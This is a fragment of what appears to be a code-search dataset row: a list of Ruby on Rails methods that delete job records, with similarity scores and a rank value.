"def destroy\n @job = current_member.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n job_resource.delete\n end",
"def destroy \n @job = Mugen::Job.delete(params[:id])\n \n respond_to do |format|\n format.html { redirect_to(mygengo_jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Job.destroy(params[:id])\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: \"Job was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = @user.jobs.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to :dashboard, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @launched_job.destroy\n respond_to do |format|\n format.html { redirect_to launched_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Job.find(params[:id]).delete\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to mentor_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = current_user.posted_jobs.find(params[:id])\n @job.try(:destroy)\n render json: {}\n end",
"def destroy\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_job = SavedJob.find(params[:id])\n @saved_job.destroy\n\n respond_to do |format|\n format.html { redirect_to saved_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to(jobs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n authorize!(@job)\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n\n respond_to do |format|\n format.html { redirect_to jobs_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n if UbiquoJobs.manager.delete(params[:id])\n flash[:notice] = t(\"ubiquo.jobs.job_removed\")\n else\n flash[:error] = t(\"ubiquo.jobs.cant_remove\")\n end\n\n respond_to do |format|\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_item = @job.job_items.find(params[:id])\n @job_item.destroy\n\n respond_to do |format|\n format.html { redirect_to [@job] }\n format.json { head :ok }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to client_path(@job.client), notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.destroy(params[:id])\n redirect_to jobs_path\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n redirect_to root_url\n end",
"def destroy\n @myjob.destroy\n respond_to do |format|\n format.html { redirect_to myjobs_url, notice: 'Myjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to @job, notice: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_job.destroy\n respond_to do |format|\n format.html { redirect_to saved_jobs_url, notice: t('saved_jobs_controller.saved_jobs_delete_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, success: 'Job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @db_job.destroy\n respond_to do |format|\n format.html { redirect_to db_jobs_url, notice: 'Db job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_jobs(job_ids)\n\n job_ids.each do |id|\n api_url = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs/#{id}/erase\"\n\n begin\n response = RestClient::Request.new(\n :method => :post,\n :url => api_url,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 204\n puts \"delete job #{id} => success\"\n else\n puts \"delete job #{id} => failed\"\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"delete job artifacts #{id} => error\"\n end\n\n end\n\nend",
"def destroy\n @job.destroy\n respond_to do |format|\n flash[:success] = \"Job successfully destroyed\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.destroy\n redirect_to jobs_path\n end",
"def destroy\n @job.destroy\n respond_to do |format|\n format.html { redirect_to jobs_url, notice: \"Job was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_job(sid)\n\t\t\tresponse = connection.delete(\"search/jobs/#{sid}\")\n\t\t\treturn_error_or_body(response, response.body)\n\t\tend",
"def destroy\n @sfjob = Sfjob.find(params[:id])\n @sfjob.destroy\n\n respond_to do |format|\n format.html { redirect_to sfjobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pending_job.destroy\n respond_to do |format|\n format.html { redirect_to pending_jobs_url, notice: 'Pending job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @worker_job.destroy\n respond_to do |format|\n format.html { redirect_to worker_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_status = JobStatus.find(params[:id])\n @job_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_job_statuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @act_job.destroy\n respond_to do |format|\n format.html { redirect_to act_jobs_url, notice: 'Act job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job.destroy\n redirect_to jobs_path, notice:'Job deleted.'\n end",
"def destroy\n @job_title = JobTitle.find(params[:id])\n @job_title.destroy\n\n respond_to do |format|\n format.html { redirect_to job_titles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @import_job.destroy\n respond_to do |format|\n format.html { redirect_to import_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @create_job.destroy\n respond_to do |format|\n format.html { redirect_to create_jobs_url, notice: 'Create job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_folio = JobFolio.find(params[:id])\n @job_folio.destroy\n\n respond_to do |format|\n format.html { redirect_to job_folios_url }\n format.json { head :ok }\n end\n end",
"def delete_job name\n\t\t\tputs \"==> Deleting job: '#{name}'\"\n\t\t\tRestClient.post(\"#{@jenkins_host}:#{@jenkins_port}/job/#{name}/doDelete\", {}){ |response, request, result, &block|\n\t\t\t\tif [301, 302, 307].include? response.code\n \t\t\t\t\tresponse.follow_redirection(request, result, &block)\n \t\t\t\telse\n \t\t\t\tresponse.return!(request, result, &block)\n \t\t\t\tend\n \t\t\t}\n \t\t\treturn true\n\t\tend",
"def destroy\n @job_detail.destroy\n respond_to do |format|\n format.html { redirect_to job_job_details_url, notice: 'Job detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n ensure_authenticated!\n job = OAR::Job.find(params[:id])\n authorize!(job.user)\n\n url = uri_to(\n site_path(\n params[:site_id]\n )+\"/internal/oarapi/jobs/#{params[:id]}.json\",\n :out\n )\n http = EM::HttpRequest.new(url).delete(\n :timeout => 5,\n :head => {\n 'X-Remote-Ident' => @credentials[:cn],\n 'Accept' => media_type(:json)\n }\n )\n\n continue_if!(http, :is => [200,202,204,404])\n\n if http.response_header.status == 404\n raise NotFound, \"Cannot find job##{params[:id]} on the OAR server\"\n else\n response.headers['X-Oar-Info'] = (\n JSON.parse(http.response)['oardel_output'] || \"\"\n ).split(\"\\n\").join(\" \") rescue \"-\"\n\n location_uri = uri_to(\n resource_path(params[:id]),\n :in, :absolute\n )\n\n render :text => \"\",\n :head => :ok,\n :location => location_uri,\n :status => 202\n end\n end",
"def destroy\n @job_progress.destroy\n respond_to do |format|\n format.html { redirect_to job_progresses_url, notice: 'Job progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n job = Job.find(params[:id])\n job.destroy\n respond_with job do |format|\n format.html { redirect_to jobs_path }\n end\n end",
"def destroy\n #@jobapp = Jobapp.find(params[:id])\n @jobapp.destroy\n\n respond_to do |format|\n format.html { redirect_to jobapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n node = @job.nodes.find(params[:id])\n @job.nodes.delete(node)\n\n respond_to do |format|\n format.html { redirect_to job_url(@job) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_list = JobList.find(params[:id])\n @job_list.destroy\n\n respond_to do |format|\n format.html { redirect_to job_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @emp_job = EmpJob.find(params[:id])\n @emp_job.destroy\n\n respond_to do |format|\n format.html { redirect_to emp_jobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @postjob.destroy\n respond_to do |format|\n format.html { redirect_to postjobs_url, notice: 'Postjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_runner.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_runners_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job = Job.find_by_job_number(params[:id])\n if admin?\n @job.destroy\n end\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_compact = JobCompact.find(params[:id])\n @job_compact.destroy\n\n respond_to do |format|\n format.html { redirect_to job_compacts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_active_job = Training::ActiveJob.find(params[:id])\n @training_active_job.destroy\n\n respond_to do |format|\n format.html { redirect_to training_active_jobs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @jobshistory.destroy\n respond_to do |format|\n format.html { redirect_to jobshistories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @job\n @job.destroy\n respond_to do |format|\n flash[:success] = t('flashes.destroy', model: Job.model_name.human)\n format.html { redirect_to jobs_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_posting.destroy\n respond_to do |format|\n format.html { redirect_to job_postings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userjob.destroy\n respond_to do |format|\n format.html { redirect_to userjobs_url, notice: 'Userjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @findjob.destroy\n respond_to do |format|\n format.html { redirect_to findjobs_url, notice: 'Findjob was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job = Job.find(params[:id])\n if @job.destroy\n response_message = {:message => \"Job deleted successfully.\", :job => @job}\n else\n response_message = {:message => \"Job deletion failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message }\n format.json { render :json => response_message }\n end\n end",
"def destroy\n @job_notification = JobNotification.find(params[:id])\n @job_notification.destroy\n\n respond_to do |format|\n format.html { redirect_to job_notifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_request.destroy\n respond_to do |format|\n format.html { redirect_to @deal, notice: 'Job request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @joborder = Joborder.find(params[:id])\n @joborder.destroy\n\n respond_to do |format|\n format.html { redirect_to joborders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nanny_job.destroy\n respond_to do |format|\n format.html { redirect_to nanny_jobs_url, notice: 'Nanny job was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobtype = Jobtype.find(params[:id])\n if @jobtype.destroy\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"def destroy\n @job_assignment = @group.jobs.find(params[:id])\n @job_assignment.destroy\n\n respond_to do |format|\n format.html { redirect_to group_jobs_path(@group) }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, @db_job_status\n @db_job_status.destroy\n respond_to do |format|\n format.html { redirect_to db_job_statuses_url, notice: 'Db job status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobsite.destroy\n respond_to do |format|\n format.html { redirect_to jobsites_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7745999",
"0.7699839",
"0.7675849",
"0.7675849",
"0.7675849",
"0.7675849",
"0.76753676",
"0.7674191",
"0.765791",
"0.7643319",
"0.7617747",
"0.7559806",
"0.75549906",
"0.75478464",
"0.75454944",
"0.75394464",
"0.7536896",
"0.75197124",
"0.7507983",
"0.7505297",
"0.74646795",
"0.74583626",
"0.7457438",
"0.74402165",
"0.7421821",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407693",
"0.7407386",
"0.7387529",
"0.73850495",
"0.7379125",
"0.73647034",
"0.73605704",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.7351134",
"0.73238885",
"0.7306246",
"0.7289802",
"0.7287158",
"0.72757363",
"0.7248313",
"0.72449696",
"0.72412294",
"0.7220971",
"0.721953",
"0.72053427",
"0.7196028",
"0.717964",
"0.7178234",
"0.7173912",
"0.71716076",
"0.71255046",
"0.7123148",
"0.7116176",
"0.7113235",
"0.708249",
"0.70721555",
"0.7071971",
"0.70686066",
"0.70635647",
"0.704707",
"0.7035093",
"0.70317364",
"0.7026374",
"0.7021229",
"0.70160764",
"0.70127547",
"0.7012135",
"0.7010024",
"0.70057726",
"0.6999268",
"0.6989165",
"0.69862294",
"0.6978688",
"0.69605",
"0.6959631",
"0.69389665",
"0.6933954",
"0.6908298",
"0.6897279",
"0.6875002",
"0.68703216",
"0.6849077",
"0.68373215"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.